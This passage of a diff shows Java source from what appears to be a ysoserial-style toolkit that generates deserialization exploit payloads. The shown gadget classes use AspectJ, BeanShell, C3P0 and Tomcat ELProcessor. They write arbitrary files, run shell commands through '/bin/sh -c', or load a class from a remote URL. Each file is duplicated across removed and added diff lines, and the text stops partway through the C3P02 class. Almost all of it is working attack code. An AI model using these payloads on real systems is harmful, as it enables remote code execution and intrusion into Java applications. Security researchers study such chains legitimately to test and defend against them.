package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
import org.apache.commons.collections.Transformer;
|
||||
import org.apache.commons.collections.functors.ConstantTransformer;
|
||||
import org.apache.commons.collections.keyvalue.TiedMapEntry;
|
||||
import org.apache.commons.collections.map.LazyMap;
|
||||
|
||||
import java.io.Serializable;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.util.Map;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.AspectJWeaver2.getSerializableCC6;
|
||||
|
||||
|
||||
/**
|
||||
* Gadget chain:
|
||||
* HashSet.readObject()
|
||||
* HashMap.put()
|
||||
* HashMap.hash()
|
||||
* TiedMapEntry.hashCode()
|
||||
* TiedMapEntry.getValue()
|
||||
* LazyMap.get()
|
||||
* SimpleCache$StorableCachingMap.put()
|
||||
* SimpleCache$StorableCachingMap.writeToPath()
|
||||
* FileOutputStream.write()
|
||||
* <p>
|
||||
* Usage:
|
||||
* args = "<filename>;<base64 content>"
|
||||
* Example:
|
||||
* java -jar ysoserial.jar aspectjweaver "ahi.txt;YWhpaGloaQ=="
|
||||
* <p>
|
||||
* More information:
|
||||
* <a href="https://medium.com/nightst0rm/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-%C4%91i%E1%BB%81u-khi%E1%BB%83n-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-61efdf4a03f5">...</a>
|
||||
*/
|
||||
|
||||
@SuppressWarnings("unused")
|
||||
@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"})
|
||||
@Authors({Authors.JANG})
|
||||
public class AspectJWeaver implements ObjectPayload<Serializable> {
|
||||
|
||||
public Serializable getObject(String command) throws Exception {
|
||||
|
||||
int sep = command.lastIndexOf(':');
|
||||
if (sep < 0) {
|
||||
throw new IllegalArgumentException("Command format is: <filename>:<base64 Object>");
|
||||
}
|
||||
String[] parts = command.split(":");
|
||||
String filename = parts[0];
|
||||
byte[] content = Base64.decodeBase64(parts[1]);
|
||||
Constructor<?> ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
|
||||
|
||||
Object simpleCache = ctor.newInstance(".", 12);
|
||||
Transformer ct = new ConstantTransformer(content);
|
||||
|
||||
Map<?,?> lazyMap = LazyMap.decorate((Map<?,?>) simpleCache, ct);
|
||||
TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
|
||||
|
||||
return getSerializableCC6(entry);
|
||||
}
|
||||
}
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
import org.apache.commons.collections.Transformer;
|
||||
import org.apache.commons.collections.functors.ConstantTransformer;
|
||||
import org.apache.commons.collections.keyvalue.TiedMapEntry;
|
||||
import org.apache.commons.collections.map.LazyMap;
|
||||
|
||||
import java.io.Serializable;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.util.Map;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.AspectJWeaver2.getSerializableCC6;
|
||||
|
||||
|
||||
/**
|
||||
* Gadget chain:
|
||||
* HashSet.readObject()
|
||||
* HashMap.put()
|
||||
* HashMap.hash()
|
||||
* TiedMapEntry.hashCode()
|
||||
* TiedMapEntry.getValue()
|
||||
* LazyMap.get()
|
||||
* SimpleCache$StorableCachingMap.put()
|
||||
* SimpleCache$StorableCachingMap.writeToPath()
|
||||
* FileOutputStream.write()
|
||||
* <p>
|
||||
* Usage:
|
||||
* args = "<filename>;<base64 content>"
|
||||
* Example:
|
||||
* java -jar ysoserial.jar aspectjweaver "ahi.txt;YWhpaGloaQ=="
|
||||
* <p>
|
||||
* More information:
|
||||
* <a href="https://medium.com/nightst0rm/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-%C4%91i%E1%BB%81u-khi%E1%BB%83n-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-61efdf4a03f5">...</a>
|
||||
*/
|
||||
|
||||
@SuppressWarnings("unused")
|
||||
@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"})
|
||||
@Authors({Authors.JANG})
|
||||
public class AspectJWeaver implements ObjectPayload<Serializable> {
|
||||
|
||||
public Serializable getObject(String command) throws Exception {
|
||||
|
||||
int sep = command.lastIndexOf(':');
|
||||
if (sep < 0) {
|
||||
throw new IllegalArgumentException("Command format is: <filename>:<base64 Object>");
|
||||
}
|
||||
String[] parts = command.split(":");
|
||||
String filename = parts[0];
|
||||
byte[] content = Base64.decodeBase64(parts[1]);
|
||||
Constructor<?> ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
|
||||
|
||||
Object simpleCache = ctor.newInstance(".", 12);
|
||||
Transformer ct = new ConstantTransformer(content);
|
||||
|
||||
Map<?,?> lazyMap = LazyMap.decorate((Map<?,?>) simpleCache, ct);
|
||||
TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
|
||||
|
||||
return getSerializableCC6(entry);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,95 +1,95 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
import org.apache.commons.collections.Factory;
|
||||
import org.apache.commons.collections.Transformer;
|
||||
import org.apache.commons.collections.functors.ConstantFactory;
|
||||
import org.apache.commons.collections.functors.FactoryTransformer;
|
||||
import org.apache.commons.collections.keyvalue.TiedMapEntry;
|
||||
import org.apache.commons.collections.map.LazyMap;
|
||||
|
||||
import java.io.Serializable;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.util.HashMap;
|
||||
import java.util.HashSet;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* 使用 ConstantFactory + FactoryTransformer 替换 ConstantTransformer,避免,类似本项目中的 CC10
|
||||
*/
|
||||
|
||||
@SuppressWarnings({"unused"})
|
||||
@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"})
|
||||
@Authors({Authors.QI4L})
|
||||
public class AspectJWeaver2 implements ObjectPayload<Serializable> {
|
||||
|
||||
@Override
|
||||
public Serializable getObject(String command) throws Exception {
|
||||
|
||||
int sep = command.lastIndexOf(';');
|
||||
if (sep < 0) {
|
||||
throw new IllegalArgumentException("Command format is: <filename>;<base64 Object>");
|
||||
}
|
||||
String[] parts = command.split(";");
|
||||
String filename = parts[0];
|
||||
byte[] content = Base64.decodeBase64(parts[1]);
|
||||
Constructor<?> ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
|
||||
Object simpleCache = ctor.newInstance(".", 12);
|
||||
|
||||
Factory ft = new ConstantFactory(content);
|
||||
Transformer ct = new FactoryTransformer(ft);
|
||||
|
||||
Map<?,?> lazyMap = LazyMap.decorate((Map<?,?>) simpleCache, ct);
|
||||
TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
|
||||
|
||||
return getSerializableCC6(entry);
|
||||
|
||||
}
|
||||
|
||||
static Serializable getSerializableCC6(TiedMapEntry entry) throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
|
||||
HashSet<String> map = new HashSet<>(1);
|
||||
map.add("QI4L");
|
||||
Field f;
|
||||
try {
|
||||
f = HashSet.class.getDeclaredField("map");
|
||||
} catch (NoSuchFieldException e) {
|
||||
//noinspection JavaReflectionMemberAccess
|
||||
f = HashSet.class.getDeclaredField("backingMap");
|
||||
}
|
||||
|
||||
Reflections.setAccessible(f);
|
||||
HashMap<?,?> innimpl = (HashMap<?,?>) f.get(map);
|
||||
|
||||
Field f2;
|
||||
try {
|
||||
f2 = HashMap.class.getDeclaredField("table");
|
||||
} catch (NoSuchFieldException e) {
|
||||
//noinspection JavaReflectionMemberAccess
|
||||
f2 = HashMap.class.getDeclaredField("elementData");
|
||||
}
|
||||
|
||||
Reflections.setAccessible(f2);
|
||||
Object[] array = (Object[]) f2.get(innimpl);
|
||||
|
||||
Object node = array[0];
|
||||
if (node == null) {
|
||||
node = array[1];
|
||||
}
|
||||
|
||||
Field keyField;
|
||||
try {
|
||||
keyField = node.getClass().getDeclaredField("key");
|
||||
} catch (Exception e) {
|
||||
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
|
||||
}
|
||||
|
||||
Reflections.setAccessible(keyField);
|
||||
keyField.set(node, entry);
|
||||
|
||||
return map;
|
||||
}
|
||||
}
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
import org.apache.commons.collections.Factory;
|
||||
import org.apache.commons.collections.Transformer;
|
||||
import org.apache.commons.collections.functors.ConstantFactory;
|
||||
import org.apache.commons.collections.functors.FactoryTransformer;
|
||||
import org.apache.commons.collections.keyvalue.TiedMapEntry;
|
||||
import org.apache.commons.collections.map.LazyMap;
|
||||
|
||||
import java.io.Serializable;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.util.HashMap;
|
||||
import java.util.HashSet;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* 使用 ConstantFactory + FactoryTransformer 替换 ConstantTransformer,避免,类似本项目中的 CC10
|
||||
*/
|
||||
|
||||
@SuppressWarnings({"unused"})
|
||||
@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"})
|
||||
@Authors({Authors.QI4L})
|
||||
public class AspectJWeaver2 implements ObjectPayload<Serializable> {
|
||||
|
||||
@Override
|
||||
public Serializable getObject(String command) throws Exception {
|
||||
|
||||
int sep = command.lastIndexOf(';');
|
||||
if (sep < 0) {
|
||||
throw new IllegalArgumentException("Command format is: <filename>;<base64 Object>");
|
||||
}
|
||||
String[] parts = command.split(";");
|
||||
String filename = parts[0];
|
||||
byte[] content = Base64.decodeBase64(parts[1]);
|
||||
Constructor<?> ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
|
||||
Object simpleCache = ctor.newInstance(".", 12);
|
||||
|
||||
Factory ft = new ConstantFactory(content);
|
||||
Transformer ct = new FactoryTransformer(ft);
|
||||
|
||||
Map<?,?> lazyMap = LazyMap.decorate((Map<?,?>) simpleCache, ct);
|
||||
TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
|
||||
|
||||
return getSerializableCC6(entry);
|
||||
|
||||
}
|
||||
|
||||
static Serializable getSerializableCC6(TiedMapEntry entry) throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
|
||||
HashSet<String> map = new HashSet<>(1);
|
||||
map.add("QI4L");
|
||||
Field f;
|
||||
try {
|
||||
f = HashSet.class.getDeclaredField("map");
|
||||
} catch (NoSuchFieldException e) {
|
||||
//noinspection JavaReflectionMemberAccess
|
||||
f = HashSet.class.getDeclaredField("backingMap");
|
||||
}
|
||||
|
||||
Reflections.setAccessible(f);
|
||||
HashMap<?,?> innimpl = (HashMap<?,?>) f.get(map);
|
||||
|
||||
Field f2;
|
||||
try {
|
||||
f2 = HashMap.class.getDeclaredField("table");
|
||||
} catch (NoSuchFieldException e) {
|
||||
//noinspection JavaReflectionMemberAccess
|
||||
f2 = HashMap.class.getDeclaredField("elementData");
|
||||
}
|
||||
|
||||
Reflections.setAccessible(f2);
|
||||
Object[] array = (Object[]) f2.get(innimpl);
|
||||
|
||||
Object node = array[0];
|
||||
if (node == null) {
|
||||
node = array[1];
|
||||
}
|
||||
|
||||
Field keyField;
|
||||
try {
|
||||
keyField = node.getClass().getDeclaredField("key");
|
||||
} catch (Exception e) {
|
||||
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
|
||||
}
|
||||
|
||||
Reflections.setAccessible(keyField);
|
||||
keyField.set(node, entry);
|
||||
|
||||
return map;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,39 +1,39 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import bsh.Interpreter;
|
||||
import bsh.XThis;
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.qi4l.JYso.gadgets.utils.beanshell.BeanShellUtil;
|
||||
|
||||
import java.lang.reflect.InvocationHandler;
|
||||
import java.lang.reflect.Proxy;
|
||||
import java.util.Comparator;
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
/**
|
||||
* Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711)
|
||||
*/
|
||||
|
||||
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
||||
@Dependencies({"org.beanshell:bsh:2.0b5"})
|
||||
@Authors({Authors.PWNTESTER, Authors.CSCHNEIDER4711})
|
||||
public class BeanShell1 implements ObjectPayload<PriorityQueue> {
|
||||
|
||||
public PriorityQueue getObject(String command) throws Exception {
|
||||
String payload = BeanShellUtil.makeBeanShellPayload(command);
|
||||
Interpreter i = new Interpreter();
|
||||
i.eval(payload);
|
||||
|
||||
XThis xt = new XThis(i.getNameSpace(), i);
|
||||
InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt);
|
||||
Comparator<? super Object> comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler);
|
||||
PriorityQueue<Object> priorityQueue = new PriorityQueue(2, comparator);
|
||||
Object[] queue = {1, 1};
|
||||
|
||||
Reflections.setFieldValue(priorityQueue, "queue", queue);
|
||||
Reflections.setFieldValue(priorityQueue, "size", 2);
|
||||
return priorityQueue;
|
||||
}
|
||||
}
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import bsh.Interpreter;
|
||||
import bsh.XThis;
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.qi4l.JYso.gadgets.utils.beanshell.BeanShellUtil;
|
||||
|
||||
import java.lang.reflect.InvocationHandler;
|
||||
import java.lang.reflect.Proxy;
|
||||
import java.util.Comparator;
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
/**
|
||||
* Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711)
|
||||
*/
|
||||
|
||||
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
||||
@Dependencies({"org.beanshell:bsh:2.0b5"})
|
||||
@Authors({Authors.PWNTESTER, Authors.CSCHNEIDER4711})
|
||||
public class BeanShell1 implements ObjectPayload<PriorityQueue> {
|
||||
|
||||
public PriorityQueue getObject(String command) throws Exception {
|
||||
String payload = BeanShellUtil.makeBeanShellPayload(command);
|
||||
Interpreter i = new Interpreter();
|
||||
i.eval(payload);
|
||||
|
||||
XThis xt = new XThis(i.getNameSpace(), i);
|
||||
InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt);
|
||||
Comparator<? super Object> comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler);
|
||||
PriorityQueue<Object> priorityQueue = new PriorityQueue(2, comparator);
|
||||
Object[] queue = {1, 1};
|
||||
|
||||
Reflections.setFieldValue(priorityQueue, "queue", queue);
|
||||
Reflections.setFieldValue(priorityQueue, "size", 2);
|
||||
return priorityQueue;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,50 +1,50 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import bsh.Interpreter;
|
||||
import bsh.NameSpace;
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.beanshell.BeanShellUtil;
|
||||
|
||||
import java.lang.reflect.*;
|
||||
import java.util.Comparator;
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
/**
|
||||
* Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711)
|
||||
*/
|
||||
|
||||
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
||||
@Dependencies({"org.beanshell:bsh:2.0b1"})
|
||||
@Authors({Authors.KILLER})
|
||||
public class BeanShell2 implements ObjectPayload<PriorityQueue> {
|
||||
|
||||
public PriorityQueue getObject(String command) throws Exception {
|
||||
String payload = BeanShellUtil.makeBeanShellPayload(command);
|
||||
Interpreter i = new Interpreter();
|
||||
|
||||
Method setu = i.getClass().getDeclaredMethod("setu", String.class, Object.class);
|
||||
setu.setAccessible(true);
|
||||
setu.invoke(i, "bsh.cwd", ".");
|
||||
i.eval(payload);
|
||||
|
||||
Class<?> xThis = Class.forName("bsh.XThis");
|
||||
Field handlerField = xThis.getDeclaredField("invocationHandler");
|
||||
handlerField.setAccessible(true);
|
||||
Constructor<?> xthisDeclaredConstructor = xThis.getDeclaredConstructor(NameSpace.class, Interpreter.class);
|
||||
xthisDeclaredConstructor.setAccessible(true);
|
||||
Object xt = xthisDeclaredConstructor.newInstance(i.getNameSpace(), i);
|
||||
handlerField.setAccessible(true);
|
||||
InvocationHandler handler = (InvocationHandler) handlerField.get(xt);
|
||||
|
||||
Comparator<? super Object> comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler);
|
||||
PriorityQueue<Object> queue = new PriorityQueue(2);
|
||||
queue.add("1");
|
||||
queue.add("2");
|
||||
|
||||
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
|
||||
field.setAccessible(true);
|
||||
field.set(queue, comparator);
|
||||
return queue;
|
||||
}
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import bsh.Interpreter;
|
||||
import bsh.NameSpace;
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.beanshell.BeanShellUtil;
|
||||
|
||||
import java.lang.reflect.*;
|
||||
import java.util.Comparator;
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
/**
|
||||
* Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711)
|
||||
*/
|
||||
|
||||
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
||||
@Dependencies({"org.beanshell:bsh:2.0b1"})
|
||||
@Authors({Authors.KILLER})
|
||||
public class BeanShell2 implements ObjectPayload<PriorityQueue> {
|
||||
|
||||
public PriorityQueue getObject(String command) throws Exception {
|
||||
String payload = BeanShellUtil.makeBeanShellPayload(command);
|
||||
Interpreter i = new Interpreter();
|
||||
|
||||
Method setu = i.getClass().getDeclaredMethod("setu", String.class, Object.class);
|
||||
setu.setAccessible(true);
|
||||
setu.invoke(i, "bsh.cwd", ".");
|
||||
i.eval(payload);
|
||||
|
||||
Class<?> xThis = Class.forName("bsh.XThis");
|
||||
Field handlerField = xThis.getDeclaredField("invocationHandler");
|
||||
handlerField.setAccessible(true);
|
||||
Constructor<?> xthisDeclaredConstructor = xThis.getDeclaredConstructor(NameSpace.class, Interpreter.class);
|
||||
xthisDeclaredConstructor.setAccessible(true);
|
||||
Object xt = xthisDeclaredConstructor.newInstance(i.getNameSpace(), i);
|
||||
handlerField.setAccessible(true);
|
||||
InvocationHandler handler = (InvocationHandler) handlerField.get(xt);
|
||||
|
||||
Comparator<? super Object> comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler);
|
||||
PriorityQueue<Object> queue = new PriorityQueue(2);
|
||||
queue.add("1");
|
||||
queue.add("2");
|
||||
|
||||
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
|
||||
field.setAccessible(true);
|
||||
field.set(queue, comparator);
|
||||
return queue;
|
||||
}
|
||||
}
|
||||
@@ -1,92 +1,92 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.mchange.v2.c3p0.PoolBackedDataSource;
|
||||
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
|
||||
import javax.naming.Reference;
|
||||
import javax.naming.Referenceable;
|
||||
import javax.sql.ConnectionPoolDataSource;
|
||||
import javax.sql.PooledConnection;
|
||||
import java.io.PrintWriter;
|
||||
import java.util.logging.Logger;
|
||||
|
||||
/**
|
||||
* com.sun.jndi.rmi.registry.RegistryContext->lookup
|
||||
* com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject
|
||||
* com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject
|
||||
* <p>
|
||||
* Arguments:
|
||||
* - base_url:classname
|
||||
* <p>
|
||||
* Yields:
|
||||
* - Instantiation of remotely loaded class
|
||||
*
|
||||
* @author mbechler
|
||||
*/
|
||||
|
||||
@SuppressWarnings({"unused"})
|
||||
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11"})
|
||||
@Authors({Authors.MBECHLER})
|
||||
public class C3P0 implements ObjectPayload<Object> {
|
||||
public Object getObject(String command) throws Exception {
|
||||
|
||||
int sep = command.lastIndexOf(':');
|
||||
if (sep < 0) {
|
||||
throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
|
||||
}
|
||||
|
||||
String url = command.substring(0, sep);
|
||||
String className = command.substring(sep + 1);
|
||||
|
||||
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
|
||||
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
|
||||
return b;
|
||||
}
|
||||
|
||||
|
||||
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
|
||||
|
||||
private final String className;
|
||||
|
||||
private final String url;
|
||||
|
||||
public PoolSource(String className, String url) {
|
||||
this.className = className;
|
||||
this.url = url;
|
||||
}
|
||||
|
||||
public Reference getReference() {
|
||||
return new Reference("exploit", this.className, this.url);
|
||||
}
|
||||
|
||||
public PrintWriter getLogWriter() {
|
||||
return null;
|
||||
}
|
||||
|
||||
public void setLogWriter(PrintWriter out) {
|
||||
}
|
||||
|
||||
public int getLoginTimeout() {
|
||||
return 0;
|
||||
}
|
||||
|
||||
public void setLoginTimeout(int seconds) {
|
||||
}
|
||||
|
||||
public Logger getParentLogger() {
|
||||
return null;
|
||||
}
|
||||
|
||||
public PooledConnection getPooledConnection() {
|
||||
return null;
|
||||
}
|
||||
|
||||
public PooledConnection getPooledConnection(String user, String password) {
|
||||
return null;
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.mchange.v2.c3p0.PoolBackedDataSource;
|
||||
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
|
||||
import javax.naming.Reference;
|
||||
import javax.naming.Referenceable;
|
||||
import javax.sql.ConnectionPoolDataSource;
|
||||
import javax.sql.PooledConnection;
|
||||
import java.io.PrintWriter;
|
||||
import java.util.logging.Logger;
|
||||
|
||||
/**
|
||||
* com.sun.jndi.rmi.registry.RegistryContext->lookup
|
||||
* com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject
|
||||
* com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject
|
||||
* <p>
|
||||
* Arguments:
|
||||
* - base_url:classname
|
||||
* <p>
|
||||
* Yields:
|
||||
* - Instantiation of remotely loaded class
|
||||
*
|
||||
* @author mbechler
|
||||
*/
|
||||
|
||||
@SuppressWarnings({"unused"})
|
||||
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11"})
|
||||
@Authors({Authors.MBECHLER})
|
||||
public class C3P0 implements ObjectPayload<Object> {
|
||||
public Object getObject(String command) throws Exception {
|
||||
|
||||
int sep = command.lastIndexOf(':');
|
||||
if (sep < 0) {
|
||||
throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
|
||||
}
|
||||
|
||||
String url = command.substring(0, sep);
|
||||
String className = command.substring(sep + 1);
|
||||
|
||||
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
|
||||
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
|
||||
return b;
|
||||
}
|
||||
|
||||
|
||||
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
|
||||
|
||||
private final String className;
|
||||
|
||||
private final String url;
|
||||
|
||||
public PoolSource(String className, String url) {
|
||||
this.className = className;
|
||||
this.url = url;
|
||||
}
|
||||
|
||||
public Reference getReference() {
|
||||
return new Reference("exploit", this.className, this.url);
|
||||
}
|
||||
|
||||
public PrintWriter getLogWriter() {
|
||||
return null;
|
||||
}
|
||||
|
||||
public void setLogWriter(PrintWriter out) {
|
||||
}
|
||||
|
||||
public int getLoginTimeout() {
|
||||
return 0;
|
||||
}
|
||||
|
||||
public void setLoginTimeout(int seconds) {
|
||||
}
|
||||
|
||||
public Logger getParentLogger() {
|
||||
return null;
|
||||
}
|
||||
|
||||
public PooledConnection getPooledConnection() {
|
||||
return null;
|
||||
}
|
||||
|
||||
public PooledConnection getPooledConnection(String user, String password) {
|
||||
return null;
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,84 +1,84 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.mchange.v2.c3p0.PoolBackedDataSource;
|
||||
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import org.apache.naming.ResourceRef;
|
||||
|
||||
import javax.naming.Reference;
|
||||
import javax.naming.Referenceable;
|
||||
import javax.naming.StringRefAddr;
|
||||
import javax.sql.ConnectionPoolDataSource;
|
||||
import javax.sql.PooledConnection;
|
||||
import java.io.PrintWriter;
|
||||
import java.util.logging.Logger;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.utils.Utils.getJSEngineValue;
|
||||
import static com.qi4l.JYso.gadgets.utils.handle.GlassHandler.generateClass;
|
||||
|
||||
/**
|
||||
* C3P02 通过Tomcat 的 getObjectInstance 方法调用 ELProcessor 的 eval 方法实现表达式注入
|
||||
*/
|
||||
|
||||
@SuppressWarnings({"unused"})
|
||||
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11", "org.apache:tomcat:8.5.35"})
|
||||
@Authors({Authors.QI4L})
|
||||
public class C3P02 implements ObjectPayload<Object> {
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
if (command.startsWith("LF-")) {
|
||||
command = getJSEngineValue(generateClass(command).toBytecode()).replace("\"", "\\\"");
|
||||
} else {
|
||||
command = "new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','" + command + "']).start()";
|
||||
}
|
||||
|
||||
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
|
||||
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(command));
|
||||
return b;
|
||||
}
|
||||
|
||||
|
||||
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
|
||||
|
||||
private final String cmd;
|
||||
|
||||
public PoolSource(String cmd) {
|
||||
this.cmd = cmd;
|
||||
}
|
||||
|
||||
public Reference getReference() {
|
||||
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
|
||||
ref.add(new StringRefAddr("forceString", "QI4L=eval"));
|
||||
ref.add(new StringRefAddr("QI4L", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','" + cmd + "']).start()\")"));
|
||||
return ref;
|
||||
}
|
||||
|
||||
public PrintWriter getLogWriter() {
|
||||
return null;
|
||||
}
|
||||
|
||||
public void setLogWriter(PrintWriter out) {
|
||||
}
|
||||
|
||||
public int getLoginTimeout() {
|
||||
return 0;
|
||||
}
|
||||
|
||||
public void setLoginTimeout(int seconds) {
|
||||
}
|
||||
|
||||
public Logger getParentLogger() {
|
||||
return null;
|
||||
}
|
||||
|
||||
public PooledConnection getPooledConnection() {
